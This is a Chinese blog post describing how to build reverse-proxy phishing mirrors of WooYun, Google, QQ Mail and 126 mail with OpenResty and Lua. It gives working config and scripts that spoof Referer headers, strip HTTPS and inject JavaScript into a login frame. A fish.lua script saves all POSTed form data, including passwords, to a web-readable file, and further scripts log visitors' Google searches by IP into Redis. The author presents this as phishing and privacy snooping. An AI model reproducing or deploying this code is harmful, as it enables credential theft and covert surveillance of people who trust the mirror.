openresty+lua在反向代理服務(wù)中的玩法
0x01 起因
幾天前學(xué)弟給我介紹他用nginx搭建的反代,代理了谷歌和維基百科。
由此我想到了一些邪惡的東西:反代既然是所有流量走我的服務(wù)器,那我是不是能夠在中途做些手腳,達到一些有趣的目的。 openresty是一款結(jié)合了nginx和lua的全功能web服務(wù)器,我感覺其角色和tornado類似,既是一個中間件,也結(jié)合了一個后端解釋器。所以,我們可以在nginx上用lua開發(fā)很多“有趣”的東西。
所以,這篇文章也是由此而來。
0x02 openresty的搭建
openresty是國人的一個開源項目,主頁在http://openresty.org/ ,其核心nginx版本相對比較高(1.7.10),搭配的一些第三方模塊也很豐富。
首先在官網(wǎng)下載openresty源碼,然后我還需要一個openresty中沒有的第三方庫:https://github.com/yaoweibin/ngx_http_substitutions_filter_module ,同樣下載下來。
編譯:
- ./configure --with-http_sub_module --with-pcre-jit --with-ipv6 --add-module=/root/requirements/ngx_http_substitutions_filter_module
- make && make install
編譯選項中: —with-http_sub_module 附帶http_sub_module模塊,這是nginx自帶的一個模塊,用來替換返回的http數(shù)據(jù)包中內(nèi)容。 --with-pcre-jit —with-ipv6 提供ipv6支持 —add-module=/root/requirements/ngx_http_substitutions_filter_module(此處為你下載的ngx_http_substitutions_filter_module目錄) 將剛才下載的http_substitutions_filter_module模塊編譯進去。http_substitutions_filter_module模塊是http_sub_module的加強版,它可以用正則替換,并可以多處替換。
編譯安裝的過程沒有什么難點,很快就安裝好了,openresty和luajit都默認(rèn)在/usr/local/openresty目錄下。nginx的二進制文件為 /usr/local/openresty/nginx/sbin/nginx。
然后像正常啟動nginx一樣啟動之。
0x03 反代目標(biāo)網(wǎng)站
根據(jù)目標(biāo)網(wǎng)站的不同,反代也是有難度之分的。
比如烏云,我們可以很輕松地將其反代下來。因為烏云主站有一個特點:所有鏈接都是相對地址。所以我甚至不需要修改頁面中任何內(nèi)容即可完整反代。
一個簡單demo:http://wooyun.jjfly.party ,其配置文件如下:

其中,location / 塊即為反代烏云的配置塊。
proxy_pass 是將請求交給上游處理,而這里的上游就是http://wooyun.com
proxy_cookie_domain是將所有cookie中的domain替換掉成自己的domain,達到能夠登陸的效果。
proxy_buffering off用來關(guān)閉內(nèi)存緩沖區(qū)。
proxy_set_header是一個重要的配置項,利用這個項可以修改轉(zhuǎn)發(fā)時的HTTP頭。比如,烏云在登錄以后,修改資料的時候會驗證referer,如果referer來自wooyun.jjfly.party是會提示錯誤的。所以我在這里用proxy_set_header將referer設(shè)置為wooyun.org域下的地址,從而繞過檢查。
這樣,做好了一個***的“釣魚網(wǎng)站”:

我甚至可以正常登錄、修改信息:

但是并不是所有網(wǎng)站做反代都這樣簡單,比如google。谷歌是一個https的站點,所以通常也需要一個https的配置:

我申請了一個SSL證書,反代方法和烏云類似。但不同的是,谷歌會檢查host,如果host不是谷歌自己的域名就會強制302跳轉(zhuǎn)到www.google.com。
于是我在這里用proxy_set_header 將Host設(shè)置為www.google.com。
另外,谷歌與烏云***的不同是,其源碼中鏈接均為絕對路徑,所以一旦用戶點擊其中鏈接后又會跳轉(zhuǎn)回谷歌去。所以,我這里使用了subs_filter模塊將其中的字符竄“www.google.com”替換成“xdsec.mhz.pw”。
這是反代中經(jīng)常會遇到的情況。
那么,如果我并沒有條件購買SSL證書怎么辦?其實我們在nginx配置中也是可以將https降成http的。比如http://qq.jjfly.party就是代理的https://mail.qq.com:

另外,在xui.qq.jjfly.party(登陸框的frame)中,我利用 subs_filter " "; ,在html的標(biāo)簽前插入了一段javascript,通過這個方式,我可以簡單制作一個前端的數(shù)據(jù)截取。(XSS) 打開即會彈窗:

在反代過程中,我們會常常和gzip打交道。熟悉http協(xié)議的同學(xué)應(yīng)該知道,如果瀏覽器發(fā)送的數(shù)據(jù)包頭含有Accept-Encoding: gzip,即告訴服務(wù)器:“我可以接受gzip壓縮過的數(shù)據(jù)包”。這時后端就會將返回包壓縮后發(fā)送,并包含返回頭Content-Encoding: gzip,瀏覽器根據(jù)是否含有這個頭對返回數(shù)據(jù)包進行解壓顯示。
但gzip在反代中,會造成很大問題:subs_filter替換內(nèi)容時,如果內(nèi)容是壓縮過的,明顯就不能正常替換了。同時在日志里可以看到這樣的記錄:
http subs filter header ignored, this may be a compressed response. while reading response header from upstream
所以網(wǎng)上一般處理方式是,在向上層服務(wù)器轉(zhuǎn)發(fā)數(shù)據(jù)包的時候,設(shè)置proxy_set_header Accept-Encoding ””,這樣后端服務(wù)器就不會壓縮數(shù)據(jù)包了。
但有時候,做反代的時候會發(fā)現(xiàn)subs_filter的替換失效或部分失效了,我在做126.com反代的時候就遇到了這個問題。經(jīng)過一段時間的研究發(fā)現(xiàn),可能和緩存有關(guān)系,緩存中的數(shù)據(jù)包是gzip壓縮過的,所以就算發(fā)送Accept-Encoding=””也不管用。 如下是http://126.jjfly.party 配置:

我設(shè)置了很多阻止其緩存的方法,但實際上好像并沒有效果。
于是這里我想到借助lua,我想通過lua腳本在數(shù)據(jù)包返回的時候解壓縮gzip數(shù)據(jù),并代替subs_filter進行字符串的替換。#p#
0x04 借助lua進行g(shù)zip解壓與返回包修改
openresty在編譯安裝的時候就加入了lua支持,所以無需再對nginx進行改造。但lua下對gzip進行解壓,需要借助一個庫:lua-zlib(https://github.com/brimworks/lua-zlib) lua是一個和C語言結(jié)合緊密的腳本語言,實際上lua-zlib就是一個C語言編寫的庫,我們現(xiàn)在需要做的就是將其編譯成一個動態(tài)鏈接庫zlib.so,讓lua來引用。
- git clone https://github.com/brimworks/lua-zlib.git
- cd lua-zlib
- cmake -DLUA_INCLUDE_DIR=/usr/local/openresty/luajit/include/luajit-2.1 -DLUA_LIBRARIES=/usr/local/openresty/luajit/lib -DUSE_LUAJIT=ON -DUSE_LUA=OFF
- make && make install
以上代碼解釋一下。首先執(zhí)行cmake來生成編譯配置文件。LUA_INCLUDE_DIR指定luajit的include文件夾,LUA_LIBRARIES指定luajit的lib文件夾。USE_LUAJIT=ON和USE_LUA=OFF指定我們使用的是luajit而不是lua:

再執(zhí)行make && make install即可:

這時候已經(jīng)編譯好了zlib.so,拷貝到openresty的lib目錄下即可:
cp zlib.so /usr/local/openresty/lualib/zlib.so
然后回到nginx的配置文件中,“body_filter_by_lua_file /usr/local/openresty/luasrc/repl.lua; ”這句話告訴nginx我需要把返回包的body交給repl.lua處理。 repl.lua腳本:
- local zlib = require "zlib"
- function decode(str)
- if unexpected_condition then error() end
- local stream = zlib.inflate()
- local ret = stream(str)
- return ret
- end
- function callback()
- local str = ngx.arg[1]
- str = string.gsub(str, "https://", "http://")
- str = string.gsub(str, "mail.126.com", "126.jjfly.party")
- str = string.gsub(str, '"126.com"', '"126.jjfly.party"')
- str = string.gsub(str, "'126.com'", "'126.jjfly.party'")
- ngx.arg[1] = str
- end
- function writefile(filename, info)
- local file = io.open(filename,"ab")
- file:write(info)
- file:close()
- end
- function readfile(filename)
- local file = io.open(filename, "rb")
- local data = file:read("*all")
- file:close()
- return data
- end
- local token = getClientIp()..ngx.var.uri
- local tmpfile = ngx.shared.tmpfile
- local value, flags = tmpfile:get(token)
- if not value then
- value = "/tmp/"..randstr(8)
- tmpfile:set(token, value)
- end
- if ngx.arg[1] ~= '' then
- writefile(value, ngx.arg[1])
- end
- if ngx.arg[2] then
- local body = readfile(value)
- local status, debody = pcall(decode, body)
- if status then
- ngx.arg[1] = debody
- end
- os.remove(value)
- callback()
- return
- else
- ngx.arg[1] = nil
- end
思路是個簡單粗暴的方式:ngx.arg1是原始的body,我將之交給pcall(lua下的異常處理方式),利用zlib.inflate進行解壓。如果不出異常說明解壓成功了,就將結(jié)果覆蓋ngx.arg1,拋出異常了說明body可能是沒壓縮的,就保持不變。 但實際操作中遇到幾個困難:
數(shù)據(jù)包并不是一次全部交給repl.lua,而是被分成許多chunks。所以我判斷了一下,當(dāng)數(shù)據(jù)包沒有接收完整的時候就先保存在一個臨時文件中,直到eof,我才將之解壓縮發(fā)送給客戶端。
多用戶情況下,我需要區(qū)分臨時文件屬于哪個用戶。所以我將臨時文件名保存在ngx.shared中,根據(jù)IP+uri判斷(實際上也并不***)。
lua生成的隨機數(shù)并不會自動播種,所以我需要根據(jù)系統(tǒng)時間來設(shè)置隨機數(shù)種子。
***,解壓完成后我直接調(diào)用callback()函數(shù)在其中對數(shù)據(jù)包進行替換,實際上就是完成之前subs_filter做的那些操作。 這樣配置完成后,重啟nginx,用瀏覽器訪問將會發(fā)現(xiàn)一個問題:

提示是:ERR_CONTENT_DECODING_FAILED,但我用burpsuite發(fā)包會發(fā)現(xiàn)似乎一切正常:

其實這個問題我之前都說了,還是和gzip有關(guān)。我們看到上圖,返回包中含有Content-Encoding: gzip,當(dāng)我們的瀏覽器查看到此頭后,會認(rèn)為數(shù)據(jù)包是gzip壓縮過的。
但實際上我們已經(jīng)在lua中將其解壓縮了,所以返回的數(shù)據(jù)其實是沒壓縮過的。最終導(dǎo)致瀏覽器解壓出錯,造成ERR_CONTENT_DECODING_FAILED。
怎么解決?
在nginx配置中將返回包頭中的Content-Encoding設(shè)置為空就好了:

header_filter_by_lua就是在修改返回頭的配置。后面可以直接編寫lua腳本,將ngx.header["Content-Encoding"]=""。 這時就可以正常訪問了:

0x05 利用lua截取數(shù)據(jù)
那么,lua除了能夠解決上述的解壓縮問題以外,還有沒有什么新玩法?
這時候,理應(yīng)就想到就是數(shù)據(jù)包的截獲。釣魚網(wǎng)站的最終目的就是獲取用戶的信息,我在前面說到了可以通過在前端插入javascript腳本來截取用戶的輸入。
但實際上這并不是***的方案,***的方法就是在后端截取數(shù)據(jù)包。
于是我來使用lua完成這個任務(wù)。首先在nginx的server塊外面(主配置文件中)加入配置項:
- init_by_lua_file /usr/local/openresty/luasrc/init.lua;
- access_by_lua_file /usr/local/openresty/luasrc/fish.lua;
這兩項在ngx_lua_waf中也介紹過。init_by_lua_file是在nginx啟動的時候加載并執(zhí)行的lua腳本,access_by_lua_file是在一次HTTP請求開始前執(zhí)行的lua腳本。
init_by_lua_file一般是初始化一些全局使用的函數(shù),不多說了。說一下我寫的access_by_lua_file時調(diào)用的fish.lua:
- local method=ngx.req.get_method()
- if in_array(ngx.var.host, valid_host) then
- if method == "POST" then
- ngx.req.read_body()
- local data = ngx.req.get_body_data()
- writefile("/home/wwwroot/fish/"..ngx.var.host..".txt", data .. "\n")
- end
- end
當(dāng)host在valid_host(釣魚站的host)中時,判斷如果請求是POST請求,就將數(shù)據(jù)包的body寫入/home/wwwroot/fish/ $ngx.var.host .txt 中。
這時,我訪問http://126.jjfly.party/admin/126.jjfly.party.txt 就可以看到實時釣魚的結(jié)果:

烏云也一樣:http://wooyun.jjfly.party/admin/wooyun.jjfly.party.txt

QQ郵箱那個因為環(huán)境太復(fù)雜(有至少三個host需要反代),所以我寧愿選擇在前端插入腳本進行劫持。
除了記錄用戶輸入的賬號密碼,根據(jù)反代網(wǎng)站的類型不同還能截取很多有趣的東西。
比如谷歌,我可以記錄訪客在谷歌中查詢的內(nèi)容:

腳本也很簡單:
- if ngx.var.host == "xdsec.mhz.pw" then
- local args = ngx.req.get_uri_args()
- if args["q"] then
- writefile("/home/wwwroot/fish/"..ngx.var.host..".txt", "search: " .. args["q"] .. "\n")
- end
- end
可見,雖然你看到的流量是經(jīng)過一個擁有正規(guī)的證書的https站點的。但實際上我在寫lua腳本的時候根本不用在乎流量是否加密,因為openresty總會將一個明文的數(shù)據(jù)包交給我處理。
那么:Youtube,我們可以記錄訪客看過哪些視頻;wikipedia,我們可以記錄用戶搜索過哪些姿勢;1024,我們可以記錄哪些片子的點擊率***……(笑)
自從各大國外站點陸續(xù)從互聯(lián)網(wǎng)上消失以后,現(xiàn)在鏡像網(wǎng)站越來越多。但上面的案例也說明了,鏡像網(wǎng)站也并不一定都是正直的。#p#
0x06 結(jié)合緩存與redis提升反代效率
當(dāng)然openresty絕不僅僅是擁有這樣一些簡單的功能。openresty出現(xiàn)的定義就是一個“全功能的 Web 應(yīng)用服務(wù)器”,所以php可以有的功能它都可以辦到。 簡單來說我們可以直接在openresty上用lua編寫一個完整的動態(tài)網(wǎng)站。 之前我們的反代配置,有一些無法避免的缺點:
對gzip的支持不好,要不就是不使用壓縮,要不就是需要解壓,效率較低
沒有使用緩存,請求頻繁、并發(fā)量大的情況下nginx可能被上游服務(wù)器封掉。
后端沒有進行負(fù)債均衡。
如果僅僅是釣魚的話,效率低是問題不大的,因為訪問量不會太大。但如果你想做一個使用量大的谷歌鏡像之類的網(wǎng)站,就必須要考慮這個問題了。
如何緩解這個問題?
比如,我們可以利用谷歌全球的IP進行負(fù)載均衡:
- proxy_cache_path /tmp/google/ levels=1:2 keys_zone=g1:100m max_size=1g;
- proxy_cache_key "$host$request_uri";
- upstream google{
- server 216.58.220.132:443 max_fails=3 fail_timeout=10s;
- server 131.203.2.49:443 max_fails=3 fail_timeout=10s;
- server 216.58.209.165:443 max_fails=3 fail_timeout=10s;
- server 209.85.229.53:443 max_fails=3 fail_timeout=10s;
- server 173.194.122.22:443 max_fails=3 fail_timeout=10s;
- server 216.58.209.101:443 max_fails=3 fail_timeout=10s;
- server 173.194.126.65:443 max_fails=3 fail_timeout=10s;
- }
另外,利用proxy_cache進行緩存,可以減少很多反代服務(wù)器向上游服務(wù)器請求的次數(shù),防止被封。
當(dāng)然,除了使用文件緩存以外,openresty還可以使用一些效率更高的服務(wù),比如redis。
openresty自帶了一個redis客戶端lua-resty-redis:https://github.com/openresty/lua-resty-redis (openresty還有個RedisNginxModule模塊,這個是反代redis請求的,并不是redis客戶端) 不過,現(xiàn)今的openresty對于redis模塊(包括所有依賴于socket的模塊)的支持僅限于在rewrite_by_lua, access_by_lua, content_by_lua這三個context中,也就是說我們沒法將返回的數(shù)據(jù)包儲存于redis中,但我們可以將截取到的數(shù)據(jù)儲存于redis中。
還是以谷歌為例,我將查詢結(jié)果按照IP來存入redis:
- red = redis:new()
- red:set_timeout(1000)
- local ok, err = red:connect("127.0.0.1", 6379)
- if not ok then
- ngx.log(ngx.WARN, "failed to connect: ", err)
- return
- end
- ok, err = red:select(2)
- if not ok then
- ngx.log("failed to select: ", err)
- return
- end
- local args = ngx.req.get_uri_args()
- if args["q"] then
- local key = getClientIp()
- local data, err = red:sadd(key, args["q"])
- end
再將location /result 解析到如下lua腳本中,讀取redis顯示結(jié)果:
- local result = ""
- local ips = red:keys("*")
- for k1,ip in pairs(ips) do
- resultresult = result .. ip .. ":\n"
- local words = red:smembers(ip)
- for k2,word in pairs(words) do
- resultresult = result .. "\tSearch: " .. word .. "\n"
- end
- end
- ngx.header.content_type = 'text/plain';
- ngx.say(result)
- return
***效果如圖所示:

0x07 總結(jié)與引用
通過這篇文章,我簡單地講了openresty一些有意思的玩法。
說白了,就是借助其能夠截取數(shù)據(jù)包的能力,來做很多只有hacker才想做的事情。除了文中說到的玩法(釣魚、用戶隱私探測),我還想到一些openresty可以做的大事:
蜜罐:利用lua自動截取數(shù)據(jù)包中的0day并進行分析。
流量分析與漏洞自動化挖掘:將目標(biāo)網(wǎng)站反代下來,正常瀏覽使用。lua在后端截取數(shù)據(jù)包并交給各種自動化分析工具分析。
高級服務(wù)的負(fù)載均衡:nginx 1.9后代理模塊被加入內(nèi)核,那時候我們甚至可以用openresty作為shadowsocks的前端服務(wù)器,作負(fù)載均衡。利用lua配置多用戶shadowsocks環(huán)境,讓shadowsocks多用戶不再局限于端口與密碼,而變成一個host+username+password認(rèn)證的形式。
當(dāng)然openresty的能力絕不僅僅是如此,還是最開始說的,openresty是一個全功能web服務(wù)器。
但作為一個hacker,我往往去先挖掘這里面最有意思的一些內(nèi)容,也就是我上面說的。
如果諸君有興趣深入研究,都可以和我一起探索。
本文參考資料:
https://github.com/openresty/lua-nginx-module
http://openresty.org/
https://github.com/openresty/lua-resty-redis
https://github.com/brimworks/lua-zlib
http://wrfly.kfd.me/Nginx%E6%90%AD%E5%BB%BA%E5%8F%8D%E5%90%91%E4%BB%A3%E7%90%86%E6%9C%8D%E5%8A%A1/ (學(xué)弟的博客)
http://nginx.org/en/docs/http/ngx_http_core_module.html
http://www.4byte.cn/question/463833/does-lua-optimize-the-operator.html
我推薦一些nginx/lua的相關(guān)資料與我關(guān)注的lua項目:
https://github.com/leafo/moonscript
https://github.com/leafo/lapis
https://github.com/loveshell/ngx_lua_waf
http://jb.wanpin123.com/lua/